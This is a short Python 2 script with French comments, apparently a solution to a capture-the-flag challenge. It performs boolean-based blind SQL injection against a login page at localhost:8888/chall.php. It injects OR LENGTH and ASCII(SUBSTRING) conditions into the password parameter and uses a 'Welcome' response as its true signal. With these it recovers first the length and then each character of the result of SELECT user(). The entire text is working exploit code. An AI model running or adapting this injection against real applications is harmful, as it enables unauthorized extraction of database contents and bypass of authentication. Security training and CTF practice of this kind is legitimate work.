#!/usr/bin/env python # -*- coding: utf-8 -*- import httplib from urllib import quote as urlencode def main(): # Requête dont on souhaite découvrir ce qu'elle renvoit payload = "SELECT user()" # On commence par chercher la taille de ce que l'on cherche length = 0 while True: conn = httplib.HTTPConnection('localhost:8888') conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length))) rep = conn.getresponse().read() if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine print "Taille =",length break else: print "Taille !=", length length += 1 # On cherche maintenant chaque caractère reponse = "" for offset in range(1,length+1): # on parcours chaque char for char in range(32,127): # pour chaque char, on regarde chaque valeur ascii possible conn = httplib.HTTPConnection('localhost:8888') conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char))) rep = conn.getresponse().read() if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char reponse += chr(char) print reponse break else: print reponse, chr(char) if __name__ == '__main__': main()